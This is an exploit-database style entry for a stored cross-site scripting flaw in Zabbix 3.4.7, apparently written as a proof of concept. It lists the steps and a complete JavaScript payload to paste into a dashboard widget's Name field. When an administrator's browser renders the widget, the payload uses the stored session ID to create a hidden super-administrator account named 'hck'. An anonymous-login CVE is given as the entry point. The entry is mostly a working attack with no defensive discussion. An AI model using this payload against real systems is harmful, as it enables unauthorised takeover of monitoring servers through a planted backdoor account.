Zabbix 3.4.7 - Stored XSS

# Exploit Title: Zabbix 3.4.7 - Stored XSS
# Date: 30-03-2021
# Exploit Author: Radmil Gazizov
# Vendor Homepage: https://www.zabbix.com/
# Software Link: https://www.zabbix.com/rn/rn3.4.7
# Version: 3.4.7
# Tested on: Linux

# Reference -
https://github.com/GloryToMoon/POC_codes/blob/main/zabbix_stored_xss_347.txt

1- Go to /zabbix/zabbix.php?action=dashboard.list (anonymous login CVE-2019-17382)
2- Create new dashboard
3- Add a new widget => Type: Map nabigation tree
4- Past into parameter "Name": <img src="x" onerror="var n='hck',q=jQuery;q.post('users.php',{sid:q('#sid').attr('value'),form:'Create+user',alias:n,name:n,surname:n,'user_groups[]':7,password1:n,password2:n,theme:'default',refresh:'9s',rows_per_page:9,url:'',user_type:3,add:'Add'});">
5- Click to "Add" button